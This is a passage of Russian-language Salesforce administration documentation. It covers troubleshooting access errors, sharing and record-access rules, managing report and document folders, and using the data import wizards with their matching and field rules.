Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра и изменения
правил проверки:
• «Просмотр настройки и

конфигурации»

И

«Настройка
приложения»

Для просмотра и
определения триггеров
Apex:
• «Автор Apex»

Ошибки «Недостаточно полномочий» могут быть вызваны правилом проверки.

Чтобы устранить ошибки «Недостаточно полномочий», рекомендуем определить их
источник (неправильно настроенные наборы полномочий, профили или параметры
общего доступа). В противном случае просмотрите правила проверки, используемые
организацией.

1. Просмотрите правила проверки.

Правило проверки может препятствовать выполнению задачи (например, перенос
записи обращения после его закрытия).

2. В разделе настроек управления объектами найдите объект, который требуется
проверить, затем прокрутите до раздела «Правила проверки».

3. Убедитесь, что ошибка не вызвана текущими правилами проверки. Или исправьте
правилопроверкиприегоиспользованиидляпредоставлениядоступапользователю.

СМ. ТАКЖЕ:

Устранение ошибок «Недостаточно полномочий»

Определить правила оценки

Доступ к записи. Вопросы и ответы
• Почему пользователю доступна организация?

Почему пользователю доступна организация?
Ниже перечислены способы предоставления доступа к организации.

• Ответственность за запись

• Скрытый доступ из связанной дочерней записи (например, обращение, контакт или возможность)

• Единые стандартные параметры общего доступа

• Иерархия ролей

• Правила общего доступа

• Общий доступ, установленный вручную

• Группа, работающая с организациями, или территория организации

Чтобы просмотреть список пользователей, которым предоставлен доступ, а также способы доступа к записи, нажмите
кнопку «Общий доступ» на странице сведений об организации. Чтобы просмотреть всех пользователей, имеющих
доступ к записи, нажмите кнопку «Развернуть список».

Ниже перечислены пользователи, которые не отображаются в списке даже при наличии доступа.

• Всепользователи (если единымстандартнымпараметрам задано значение «Общедоступный: только для чтения» или
«Общедоступный: для чтения и записи»)

• Пользователи массового портала

Прим.: При выборе модели общего доступа «Контролируется родительским объектом» или «Общедоступный:
только для чтения» кнопка «Общий доступ» может не отображаться. В противном случае страница «Сведения об
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общем доступе» доступна только ответственному за запись, администратору или вышестоящему пользователю в
иерархии ролей.

Табл. 2: Рекомендации по устранению ошибок доступа к записи

ОписаниеТип доступа

Запись всегда доступна соответствующему ответственному.Ответственный за
запись

Данныйтипдоступасоответствует записи «Связанныйответственныйза записьилиобщийдоступ»
в столбце «Причина» на странице «Сведения об общем доступе». Доступ для чтения организации

Скрытый доступ

инициируется доступом к ее дочерней записи (например, возможность, обращение или контакт).
Данный доступ не может быть переопределен. Например, доступ пользователя к обращению
инициирует скрытый доступ для чтения к родительской организации.

Если стандартным параметрам общего доступа к организациям задано значение «Личный»,
следовательно, доступ мог быть предоставлен иным способом, описанным в данном разделе.
Значение «Личный» позволяет запретить доступ к записи как минимум одному пользователю.

Единый
стандартный
параметр общего
доступа

Доступдлячтенияможетбытьунаследованотподчиненногосотрудникавиерархииролей. Данный
алгоритмможет быть переопределен только для настраиваемых объектов. Если ответственный за

Иерархия ролей

организациюнеподчиняетсяпользователю, которомупредоставлендоступ, просмотритеправила
общего доступа, рабочие группы и территорию организации.

Доступ может быть предоставлен при добавлении пользователя в соответствующее правило
общего доступа. Если правило предоставляет доступ посредством общедоступных групп (или

Правила общего
доступа

других категорий, например, ролей), просмотрите общедоступные группы на наличие
соответствующего пользователя.

Доступ может быть предоставлен вручную с помощью кнопки «Общий доступ» на странице
записи. Общий доступ к записи может быть предоставлен или отменен вручную только
ответственным за запись, администратором или вышестоящим пользователем в иерархии ролей.

Общий доступ,
установленный
вручную

Пользователь может быть добавлен в группу, работающую с организациями, ответственным за
организацию, администратором, вышестоящимпользователемвиерархииролейилиучастником

Группы,
работающие с

рабочей группы. Если организация использует функцию управления территориями, тоорганизациями, и
ответственныйзаорганизациюдолженподчинятьсяпользователю, которомупредоставлендоступ.территория

организации Уровеньдоступаменеджераопределяетсяуровнемдоступаегоподчиненных. Крометого, участнику
группы А, являющейся частью группы Б, предоставляется аналогичный уровень доступа ко всем
организациям группы Б, что и ее участникам.

СМ. ТАКЖЕ:

Обеспечение безопасного доступа к данным

Устранение ошибок «Недостаточно полномочий»
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Управление папками

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Папки отчетов недоступны
в версиях: Contact
Manager, Group Edition и
Personal Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
удаления общедоступных
папок документов:
• «Управление

общедоступными
документами»

Для создания,
редактирования и удаления
общедоступных папок
шаблонов эл. почты:
• «Управление

общедоступными
шаблонами»

Для создания,
редактирования и удаления
общедоступных папок
отчетов:
• «Управление отчетами в

общедоступных папках»

Для создания,
редактирования и удаления
общедоступных папок
панелей мониторинга:
• «Управление панелями

мониторинга» И
«Просмотр всех данных»

Папка — это область для хранения отчетов, панелей мониторинга, документов или
шаблонов эл. почты. Папки могут быть общими, скрытыми или общедоступными, а
также доступнымитолькодлячтенияилидлячтенияи записи. Пользователи, имеющие
доступ к содержимому папок, определяются ролями, полномочиями, общедоступными
группами и типами лицензий. Доступ к папке может быть предоставлен всем
пользователям организации или только ответственному.

• Чтобы получить доступ к папкам документов, перейдите на вкладкуДокументы.

• Чтобыполучить доступ кпапкамшаблонов, вменю «Настройка» введите «Шаблоны
эл. почты» в поле «Быстрый поиск», затем выберите «Шаблоны эл. почты».

Чтобы создать папку, нажмите кнопку «Создать папку».

Чтобы изменить папку, щелкните ссылку «Правка» напротив имени нужной папки.
Принеобходимости выберитеимяпапки в раскрывающемся списке «Папка» инажмите
кнопку «Правка».

Прим.: Содержимое папки можно изменить только при наличии доступа для
чтения и записи. Папки, доступные только для чтения, могут быть удалены или
измененытолькотемипользователями, которыеимеютполномочие «Управление
общедоступнымидокументами» или «Управлениеобщедоступнымишаблонами».
Независимоотполномочийилипараметровпапок, пользователинемогутизменить
изъятые и личные папки. Пользователи с полномочием «Управление отчетами в
общедоступных папках» могут изменять любые отчеты в общедоступных папках,
но не могут изменять отчеты в личных папках других пользователей.

СМ. ТАКЖЕ:

Создание и редактирование папок

Удаление папок

Добавление элементов в папки
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Создание и редактирование папок

ВЕРСИИ

Доступно в версиях: все
версии, кроме
Database.com Edition.

Папки отчетов недоступны
в версиях: Contact
Manager, Group Edition и
Personal Edition.

Ограничения для папки
документов не доступны в
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
удаления общедоступных
папок документов:
• «Управление

общедоступными
документами»

Для создания,
редактирования и удаления
общедоступных папок
шаблонов эл. почты:
• «Управление

общедоступными
шаблонами»

Для создания,
редактирования и удаления
общедоступных папок
отчетов:
• «Управление отчетами в

общедоступных папках»

Для создания,
редактирования и удаления
общедоступных папок
панелей мониторинга:
• «Управление панелями

мониторинга» И
«Просмотр всех данных»

Щелкните «Создать новую папку» или «Правка» на любой странице, содержащей
список папок.

1. Заполните поле «Метка папки». Метка используется для обозначения папки на
страницах пользовательского интерфейса.

2. Приналичииполномочия «Настройкаприложения» введитеуникальноеимя, которое
должно использоваться интерфейсом API и управляемыми пакетами.

3. Выберите значение для параметра «Доступ к общедоступной папке». Чтобы
разрешитьпользователямизменениесодержимогопапок, выберите уровеньдоступа
«Длячтенияи записи». Пользователимогутпросматриватьпапки, доступныетолько
для чтения, но не могут изменять их содержимое.

4. Чтобы сохранить изъятый отчет, шаблон или панель мониторинга в новую папку,
выберите нужный элемент и нажмите кнопку «Добавить». Пропустите данное
действие для папок документов.

5. Выберите параметры доступности папки.

• Параметр «Данная папка доступна всем пользователям, включая пользователей
портала» предоставляетдоступкпапкевсемпользователяморганизации, включая
пользователей портала.

• Параметр «Данная папка доступна всем пользователям, кроме пользователей
портала» предоставляет доступ к папке всем пользователям организации, кроме
пользователей портала. Данный параметр доступен только для папок отчетов и
панелеймониторингаорганизаций, использующихпартнерскийиликлиентский
портал. В случае отсутствия портала данный параметр не отображается.

• Параметр «Данная папка скрыта от всех пользователей» блокирует общий
доступ к папке.

• Параметр «Данная папка доступна только следующим пользователям»
позволяет предоставить доступ ограниченному кругу пользователей.

a. Выберите значение «Общедоступные группы», «Роли», «Ролииподчиненные
роли», «Роли, внутренние подчиненные роли и подчиненные роли портала»
(при использовании порталов), «Территории» или «Территории и
подчиненные территории» в раскрывающемся списке «Поиск». Доступные
значенияопределяютсяиспользуемойверсиейсистемыиналичиемфункции
управления территориями.

Прим.: Если общий доступ к папке предоставляется группе, то
менеджеры участников группы получают доступ к этой папке только в
том случае, если они сами являются участниками группы.

b. Если список «Доступно для общего доступа» не содержит нужного
значения, введите критерий поиска и нажмите кнопку «Найти».

c. Чтобыпереместить значениев список «Общий доступ с», выберитенужное
значение в списке «Доступно для общего доступа» и нажмите кнопку
«Добавить».
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Прим.: Расширенный общий доступ к папкам позволяет более подробно определять уровни доступа
пользователей к папкам отчетов и панели мониторинга. Дополнительную информацию см. в разделе
«Включение расширенного общего доступа к отчетам и панелям мониторинга» и «Предоставление
общего доступа к папке отчетов или панелей мониторинга».

6. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Управление папками
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Удаление папок

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Папки отчетов недоступны
в версиях: Contact
Manager, Group Edition и
Personal Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
удаления общедоступных
папок документов:
• «Управление

общедоступными
документами»

Для создания,
редактирования и удаления
общедоступных папок
шаблонов эл. почты:
• «Управление

общедоступными
шаблонами»

Для создания,
редактирования и удаления
общедоступных папок
отчетов:
• «Управление отчетами в

общедоступных папках»

Для создания,
редактирования и удаления
общедоступных папок
панелей мониторинга:
• «Управление панелями

мониторинга» И
«Просмотр всех данных»

Системапозволяет удалять толькопустыепапки. Прежде чем удалить папку, удалите все
хранящиеся в ней документы, панели мониторинга, шаблоны или отчеты.

1. Щелкните ссылку «Правка» напротив имени нужной папки на любой странице со

списком папок. Щелкните значок на вкладке «Отчеты», а затем щелкните
«Правка» на панели «Папки».

2. Щелкните «Удалить» или значок , а затем «Удалить».

3. Нажмите кнопку «OK».

СМ. ТАКЖЕ:

Управление папками
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Добавление элементов в папки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Папки отчетов недоступны
в версиях: Contact
Manager, Group Edition и
Personal Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
удаления общедоступных
папок документов:
• «Управление

общедоступными
документами»

Для создания,
редактирования и удаления
общедоступных папок
шаблонов эл. почты:
• «Управление

общедоступными
шаблонами»

Для создания,
редактирования и удаления
общедоступных папок
отчетов:
• «Управление отчетами в

общедоступных папках»

Для создания,
редактирования и удаления
общедоступных папок
панелей мониторинга:
• «Управление панелями

мониторинга» И
«Просмотр всех данных»

Чтобыпереместитьдокумент, панельмониторинга, отчетилишаблонэл. почтывдругую
папку, выполните указанные ниже действия.

1. Выберите нужный элемент.

2. Нажмите кнопку «Редактировать свойства».

3. Выберите другую папку.

4. Нажмите кнопку «Сохранить».

Подобно папкам отчетов, которые содержат отчеты, и папкам шаблонов эл. почты,
которые содержат шаблоны эл. почты, папки документов содержат только документы.
Чтобы сохранить вложение в папку документов, сохраните вложение на компьютере и
загрузите его в библиотеку документов.

Прим.: Шаблоныэл. почты, используемыеправиламиназначенияилирасширения,
либо функцией Web-to-Case или Web-to-Lead, должны быть помеченыфлажком
«Доступно для использования».

СМ. ТАКЖЕ:

Управление папками
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Импорт данных

Общие сведения об импорте

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Типы объектов, доступные
для импорта, определяются
используемой версией
системы.

Пользователи могут импортировать в систему Salesforce не более 50 000 записей из
текущего источника данных.

Важное замечание: Компания Salesforce заменилаотдельныемастерыимпорта для
организаций, контактов и других объектов универсальным мастером импорта
данных. (Отдельные мастеры импорта открываются посредством маленьких
всплывающих окон, тогда как универсальный мастер открывается посредством
полнофункционального обозревателя, адресная строка которого отображает
компонент dataimporter.app.) Чтобызапуститьуниверсальныймастер, введитестроку
«Мастер импорта данных» в поле «Быстрый поиск» в меню «Настройка» и
выберитепункт«Мастеримпортаданных». (Доступныепараметрыопределяются
предоставленными полномочиями.)

Пользователимогутимпортироватьданныеизприложения ACT!, Outlook илилюбойдругойпрограммы, поддерживающей
сохранение данных в CSV-формате (например, Excel или GoldMine).

Прим.: Если региональные настройки не поддерживают использование запятых, воспользуйтесь символом
табуляции или любым другим разделителем.

Количествоимпортируемыхзаписейопределяетсяполномочиямипользователяитипомимпортируемыхданных. Кроме
того, количество записей, доступныхдляимпорта, неможетпревышатьобщегообъемахранилищаданныхорганизации.

Какие записи могут быть импортированы?

Раздел интерактивной
справки

ДоступноОграничение по импорту
записей

Тип записи

Что импортируется для
организаций-компаний и
контактов?

Все пользователи500 за разСобственные
организации-компании и
контакты

Что импортируется для
организаций-компаний и
контактов?

Администраторы;

Пользователи с
полномочием «Изменение
всех данных»

50 000 за разОрганизации-компании и
контакты других
пользователей

Что импортируется для
организаций-лиц?

Все пользователи50 000 за разСобственные
организации-лица

Что импортируется для
организаций-лиц?

Администраторы;

Пользователи с
полномочием «Импорт
организаций-лиц»

50 000 за разОрганизации-лица других
пользователей

Что импортируется для
интересов?

Администраторы;

Пользователи с
полномочиями «Чтение»,

50 000 за разИнтересы
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Какие записи могут быть импортированы?

Раздел интерактивной
справки

ДоступноОграничение по импорту
записей

Тип записи

«Создание» и
«Редактирование» для
интересов и полномочием
«Импорт интересов»

Что импортируется для
участников кампаний?

Администраторы;

Пользователи Marketing (или
пользователи с

50 000 для импорта
интересов в качестве новых
участников кампании и
обновлениястатуса текущих
участников кампании.

Участники кампании

полномочием «Импорт
интересов» и полномочием
«Редактирование» для
кампаний) могут
импортировать новые
интересы в качестве
участниковкампании. Кроме
того, пользователям
требуется полномочие
«Чтение» для контактов,
позволяющее использовать
мастер обновления
кампаний для добавления
текущих интересов и
контактов в качестве
участников кампании.

Что импортируется для
настраиваемых объектов?

Администраторы;

Пользователи с
полномочием «Изменение
всех данных»

50 000 за разНастраиваемые объекты

Что импортируется для
решений?

Администраторы;

Пользователи с
полномочием «Импорт
решений»

50 000 за разРешения

Данные записи не могут быть импортированы посредством мастеров импорта.Активы

Обращения

Кампании

Контракты

Документы

Возможности

734

Общие сведения об импортеНастройка и обслуживание организации Salesforce



Какие записи могут быть импортированы?

Раздел интерактивной
справки

ДоступноОграничение по импорту
записей

Тип записи

Продукты

Дополнительную информацию о доступности полей и способах импорта значений разных типов полей см. в разделе
«Примечания к импорту данных» на странице 741.

Прим.: Участники группы взаимосвязи не могут быть импортированы.

СМ. ТАКЖЕ:

Мастер импорта данных

Выбор метода для импорта данных

Отмена импорта

Выбор метода для импорта данных
Узнайте о функциональных возможностях, доступных при импорте данных в Salesforce.

Дополнительные сведенияВнутренний
или внешний
инструмент
Salesforce

ЭкспортИмпортКоличество
импортируемых
или
экспортируемых
записей

Поддерживаемые
версии

Инструмент

Встроенный мастер импорта
организаций, контактов,

Внутренний
инструмент

НетДаНе более 50 000Все версии,
кроме
Database.com
Edition

Мастер
импорта
данных
(универсальный)

интересов, решений и
настраиваемых объектов
организации. Подробнее.

Data Loader — этоприложение
для пакетного импорта или

Внешний
инструмент

ДаДаОт 5 000 до
5 миллионов

Enterprise
Edition,
Unlimited

Data Loader

экспорта данных.
Edition, Приложение позволяет
Performance вставлять, обновлять, удалять
Edition, или экспортировать записи

Salesforce. Подробнее.Developer Edition
и Database.com
Edition
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Дополнительные сведенияВнутренний
или внешний
инструмент
Salesforce

ЭкспортИмпортКоличество
импортируемых
или
экспортируемых
записей

Поддерживаемые
версии

Инструмент

Встроенный мастер импорта
личных контактов и

Внутренний
инструмент

НетДаНе более
500 записейдля
отдельного
пользователя

Не более
50 000 записей

Contact Manager,
Group Edition,
Professional
Edition,
Enterprise
Edition,
Unlimited

Мастер
«Импорт моих
организаций и
контактов»

организаций из разных
источников данных
(например, Act!™, Gmail™ и
Outlook®).

для нескольких
пользователейEdition,

Performance
Edition и
Developer Edition

СМ. ТАКЖЕ:

Мастер импорта данных

Общие сведения об импорте

Что импортируется для организаций-компаний и контактов?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

Импорт организации
недоступен в версиях:
Personal Edition,
Database.com Edition.

Мастеры импорта контактов и организаций-компаний позволяют сопоставлять записи
разными способами, исключающими наличие повторов. Контакты могут быть
сопоставлены по коду Salesforce, имени или адресу эл. почты. Организации-компании
могут быть сопоставлены по коду Salesforce или по имени и местоположению.
Сопоставление по коду Salesforce выполняется для контактов и организаций-компаний;
если одна запись сопоставляется по коду Salesforce, то остальные записи также будут
сопоставлены по коду Salesforce.

Сопоставление по имени и местоположению
Если сопоставление контактов выполняется по имени, а организаций-компаний по
имени и местоположению (рекомендуемые типы), то мастеры импорта автоматически
создают организацию-компанию для каждого уникального имени и местоположения
организации-компании вфайле импорта. Кроме того, они создают отдельный контакт
для каждого имени контакта, указанного в файле. Затем контакты связываются с
соответствующими организациями-компаниями.

Если организация-компания или контакт уже существует в системе, а пользователю предоставлен соответствующий
доступ для чтения и записи, то мастеры импорта добавляют импортируемые данные к текущим данным Salesforce. Кроме
того, еслиимяорганизации-компаниииликонтактавфайлеимпортасоответствуетименитекущейорганизации-компании
или контакта, то импортируемые данные добавляются к текущим данным Salesforce.
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Сопоставление по коду Salesforce

Контакты и организации-компании могут быть сопоставлены по коду Salesforce. В этом случае код Salesforce является
критерием удаления повторяющихся записей. Например, если сопоставление выполняется по коду, и при этом запись
исходногофайласодержиткод, указанныйдля записивсистеме Salesforce, тоданная записьобновляется в системе Salesforce.
Обратите внимание, что коды записей чувствительны к регистру и должны полностью совпадать.

Перезапись текущих значений организации
Перезапись текущих полей организации-компании выполняется только при наличиифлажка «Перезаписать текущие
значения организации» в соответствующем мастере. Если данныйфлажок установлен, то текущие поля
организации-компании доступныдля вставкиилиобновления данных. Однако, данныйфлажок не позволяет обновлять
текущие поля пустыми значениями. В случае отсутствия данного флажка, мастер обновляет пустые поля
организации-компании и сохраняет значения заполненных полей.

Если текущиеорганизации-компанииили контактынедоступныпользователюдля чтенияи записи, томастеры создают
новые организации-компании или контакты и назначают их текущему пользователю. Кроме того, мастеры создают
организации-компании и контакты на основе отдельных полей файла импорта.

Кроме того, версии Professional Edition, Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition позволяют
мастерамимпортаимпортироватьновыепримечаниякорганизациям-компаниямиконтактам. Мастерынеимпортируют
примечания, являющиеся точными копиями текущих примечаний к организациям-компаниям или контактам.

СМ. ТАКЖЕ:

Мастер импорта данных

Импорт моих контактов из приложения Outlook или ACT!

Импорт моих контактов из других источников

Выбор метода для импорта данных

Общие сведения об импорте

Что импортируется для интересов?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Пользователимогутимпортироватьданныев стандартныеилюбыенастраиваемыеполя
интересов, даже в том случае, если отдельное поле скрыто или доступно только для
чтения согласно текущему макету страницы или заданным параметрам безопасности
полей.

Импорт интересов по типам совпадения
Пользователи могут определять необходимость сопоставления интересов в файле
импорта с текущими интересами Salesforce. Интересы могут быть сопоставлены по
следующим типам: код Salesforce, имя или адрес эл. почты. При выборе типа
сопоставления определяются критерии, которые позволяют избежать повторяющихся
интересов. Например, присопоставлениипоадресу эл. почтыинтересисходногофайла,
содержащийадрес эл. почты, используемыйинтересом Salesforce, обновляется в системе
Salesforce. Если сопоставление выполняется по другому параметру, и при этом интерес
исходного файла содержит адрес эл. почты, указанный для интереса в системе Salesforce, то создается новый интерес.
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Перезапись текущих полей интереса выполняется только при наличиифлажка «Перезаписать текущие значения
интереса» в соответствующеммастере. Еслиданныйфлажок установлен, то текущиеполяинтереса доступныдля вставки
или обновления данных. Однако, данныйфлажок не позволяет обновлять текущие поля пустыми значениями. В случае
отсутствия данного флажка, мастер обновляет пустые поля интереса и сохраняет значения заполненных полей.

Импорт интересов без типов совпадения
Есливывыберете соответствующийтип «Нет» вмастереимпортаданных, тодлякаждогоинтереса в вашемфайлеимпорта
мастер импорта данных создаст новый интерес в Salesforce. Импортированные интересы могут быть объединены.

СМ. ТАКЖЕ:

Мастер импорта данных

Выбор метода для импорта данных

Что импортируется для участников кампаний?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

• Мастер импорта данных. Данный мастер импортирует все интересы в файле
импорта, связываетихскампаниейизаполняетполе «Статус участника» дляинтереса
данной кампании. Пользователи могут импортировать данные в стандартные и
любыенастраиваемыеполяинтересов, дажев томслучае, еслиотдельноеполескрыто
или доступно только для чтения согласно текущему макету страницы или заданным
параметрам безопасности полей. Данный мастер не объединяет повторяющиеся
интересы в файле импорта. Кроме того, если один из импортированных интересов
полностью соответствует текущему интересу, то повторяющиеся данные не
объединяются в одном интересе.

• Мастер обновления кампаний. Данный мастер обновляет только поле «Статус
участника» контакта или интереса Salesforce, соответствующего каждому контакту
или интересу в файле импорта. Пользователи не могут добавлять новые интересы
или контакты, а также не могут обновлять любые другие поля текущих интересов или контактов.

СМ. ТАКЖЕ:

Мастер импорта данных

Выбор метода для импорта данных
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Что импортируется для настраиваемых объектов?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Импорт настраиваемых
объектов доступен в
версиях: Contact Manager,
Group Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для импорта настраиваемых
объектов:
• «Изменение всех

данных»

Мастеримпортаданныхдлянастраиваемыхобъектовпозволяетпредотвратитьсоздание
повторяющихсязаписейпутемсопоставлениязаписейпоодномуиз следующихполей:
имя настраиваемого объекта, код Salesforce или внешний код. Добавьте в файл импорта
столбец для поля, используемого для сопоставления записи.

Сопоставление по имени
Вданном случаемастер импорта выполняет поиск текущих записей в системе Salesforce,
использующих такое же имя. Обратите внимание, что данный тип сопоставления
нечувствителен к регистру (например, имена, начинающиеся с прописной буквы,
сопоставляются с именами, начинающимися со строчной буквы). При необходимости
имена настраиваемых объектов могут быть просмотрены и стандартизированы до
выполнения импорта, что позволит исключить нежелательные сопоставления.

Сопоставление по коду Salesforce

Код Salesforce — это созданная системой чувствительная к регистру строка длиною 15
или 18 символов, которая однозначно определяет каждую запись Salesforce. В данном
случае мастер импорта выполняет поиск текущих записей в системе Salesforce,
использующих такой же код Salesforce. Обратите внимание, что коды Salesforce
чувствительны к регистру и должны полностью совпадать. Чтобы получить коды
Salesforce, выполните отчеты по полю записи «Код».

Сопоставление по внешнему коду
Внешний код — это настраиваемое поле с атрибутом «Внешний код», которое содержит уникальный идентификатор
записи из системы, находящейся за пределами Salesforce. В данном случае мастер импорта выполняет поиск текущих
записей в системе Salesforce, использующих такой же внешний код. Обратите внимание, что данная операция
нечувствительна к регистру (например, запись «АБВ» сопоставляется с записью «абв»). Тем не менее, данное правило
содержитисключение: еслинастраиваемоеполеиспользуетотдельныйатрибут «Уникальное» ивыбрантипсопоставления,
чувствительный к регистру, то прописные и строчные буквы не считаются идентичными.

При необходимости значения внешнего кода могут быть просмотрены и стандартизированы до выполнения импорта,
что позволит исключить нежелательные сопоставления.

При обнаружении повторяющихся записей пользователю отправляется электронное подтверждение, в котором
отображаются только первые три повторяющиеся записи.

Игнорирование или обновление совпадающих записей
Ниже перечислены действия, которые могут быть выполнены в случае обнаружения текущих записей Salesforce,
соответствующих выбранному полю.

• «Вставить только новые записи без обновления существующих записей»: записи файла, которые являются
новыми и не совпадают с текущими записями, добавляются в систему Salesforce. Кроме того, пропускаются записи,
совпадающие с текущими записями файла, а текущие записи не изменяются.

• «Обновитьсуществующиезаписибезвставкиновыхзаписей»: приналичиизаписей, совпадающихстекущими
записями файла, текущие записи обновляются. Кроме того, записи, которые не совпадают с текущими записями
файла, пропускаются и не добавляются в качестве новых.
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• «Обновить существующие записи и вставить новые записи»: записи файла, которые являются новыми и не
совпадают с текущими записями, добавляются в систему Salesforce. Кроме того, при наличии записей, совпадающих
с текущими записями файла, текущие записи обновляются.

Прим.: Настраиваемые объекты с двумя взаимосвязями «Основная—подробная» не могут быть импортированы
посредством мастера импорта.

СМ. ТАКЖЕ:

Мастер импорта данных

Выбор метода для импорта данных

Что импортируется для решений?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для импорта решений:
• «Импорт решений»

Мастер импорта данных позволяет предотвратить создание повторяющихся записей
путем сопоставления записей по одному из следующих полей: заголовок решения, код
Salesforce или внешний код. Добавьте вфайл импорта столбец для поля, используемого
для сопоставления записи.

Сопоставление по заголовку решения
Вданномслучаемастеримпорта выполняетпоиск текущихрешенийв системе Salesforce,
использующихтакойжезаголовок. Обратитевнимание, чтоданныйтипсопоставления
нечувствителен к регистру (например, заголовки, начинающиеся с прописной буквы,
сопоставляютсясзаголовками, начинающимисясострочнойбуквы). Принеобходимости
заголовки решений могут быть просмотрены и стандартизированы до выполнения
импорта, что позволит исключить нежелательные сопоставления.

Сопоставление по коду Salesforce

Код Salesforce — это созданная системой чувствительная к регистру строка длиною 15
или 18 символов, которая однозначно определяет каждую запись Salesforce. В данном
случае мастер импорта выполняет поиск текущих записей в системе Salesforce,
использующих такой же код Salesforce. Обратите внимание, что коды Salesforce чувствительны к регистру и должны
полностью совпадать. Чтобы получить коды Salesforce, выполните отчеты по полю записи «Код».

Сопоставление по внешнему коду
Внешний код — это настраиваемое поле с атрибутом «Внешний код», которое содержит уникальный идентификатор
записи из системы, находящейся за пределами Salesforce. В данном случае мастер импорта выполняет поиск текущих
записей в системе Salesforce, использующих такой же внешний код. Обратите внимание, что данная операция
нечувствительна к регистру (например, запись «АБВ» сопоставляется с записью «абв»). Тем не менее, данное правило
содержитисключение: еслинастраиваемоеполеиспользуетотдельныйатрибут «Уникальное» ивыбрантипсопоставления,
чувствительный к регистру, то прописные и строчные буквы не считаются идентичными.

При необходимости значения внешнего кода могут быть просмотрены и стандартизированы до выполнения импорта,
что позволит исключить нежелательные сопоставления.

При обнаружении повторяющихся записей пользователю отправляется электронное подтверждение, в котором
отображаются только первые три повторяющиеся записи.
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Игнорирование или обновление совпадающих записей
Ниже перечислены действия, которые могут быть выполнены в случае обнаружения текущих записей Salesforce,
соответствующих выбранному полю.

• «Вставить только новые записи без обновления существующих записей»: записи файла, которые являются
новыми и не совпадают с текущими записями, добавляются в систему Salesforce. Кроме того, пропускаются записи,
совпадающие с текущими записями файла, а текущие записи не изменяются.

• «Обновитьсуществующиезаписибезвставкиновыхзаписей»: приналичиизаписей, совпадающихстекущими
записями файла, текущие записи обновляются. Кроме того, записи, которые не совпадают с текущими записями
файла, пропускаются и не добавляются в качестве новых.

• «Обновить существующие записи и вставить новые записи»: записи файла, которые являются новыми и не
совпадают с текущими записями, добавляются в систему Salesforce. Кроме того, при наличии записей, совпадающих
с текущими записями файла, текущие записи обновляются.

СМ. ТАКЖЕ:

Мастер импорта данных

Выбор метода для импорта данных

Примечания к импорту данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Типы объектов, доступные
для импорта, определяются
используемой версией
системы.

• Доступность поля: единые мастеры импорта организаций и интересов позволяют
импортировать данные в любые стандартные или настраиваемые поля, даже в том
случае, если отдельное поле скрыто или доступно только для чтения согласно
текущему макету страницы или заданным параметрам безопасности поля. Мастер
«Импортмоихконтактов» позволяетимпортироватьданныетольковполя, доступные
для редактирования согласно макету страницы или параметрам безопасности поля.

Безопасность поля доступна только в версиях Enterprise Edition, Unlimited Edition,
Performance Edition и Developer Edition.

• Новые значения для раскрывающихся списков и раскрывающихся списков
со множественным выбором: если файл импорта содержит данные, которые
должны отображаться в раскрывающихся списках или раскрывающихся списках со множественным выбором, то
попытка импорта нового недействительного значения раскрывающегося списка инициирует отображение
соответствующего предупреждения. Чтобы автоматически добавить новое значение в импортированную запись,
пропустите данное предупреждение. При необходимости значения могут быть позже добавлены администратором.
Обратите внимание, что мастеры импорта позволяют одновременно импортировать не более 100 новых значений
раскрывающегося списка или раскрывающегося списка со множественным выбором для каждого поля.

Если организация использует средство перевода, то мастеры импорта добавляют новые неактивные значения
раскрывающегося списка только после поиска совпадающих переведенных значений.

• Раскрывающиеся списки со множественным выбором: чтобы выполнить пакетный импорт значений в
раскрывающийся список со множественным выбором, разделите значения файла импорта точкой с запятой.

Поле раскрывающегося списка со множественным выбором позволяет одновременно импортировать не более
100 значений. Если файл импорта содержит более 100 значений для одной записи, то мастер импорта пропускает
соответствующее поле записи.

• Кнопки-флажки: чтобы импортировать данные в поле типа «Кнопка-флажок», рекомендуем использовать «1» для
отмеченных значений и «0» для неотмеченных.
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• Стандартные значения: если поле типа «Раскрывающийся список», «Раскрывающийся список со множественным
выбором» или «Кнопка-флажок» не соотноситсямастеромимпорта, тоноваяилиобновленная запись автоматически
заполняется стандартным значением данного поля (при его наличии).

• Поля даты/времени: формат всех импортируемых полей даты/времени должен соответствовать формату их
отображения в системе Salesforce, заданному для используемого региона.

• Поляформулы: поляформулыдоступнытолькодлячтения, поэтомунемогутприниматьимпортированныеданные.

• Правилапроверкиполей: системаSalesforceвыполняетправилапроверкипередимпортомзаписей. Импортдоступен
только для проверенных записей. Прежде чем начать импорт, рекомендуем деактивировать правила проверки,
влияющие на импортируемые записи.

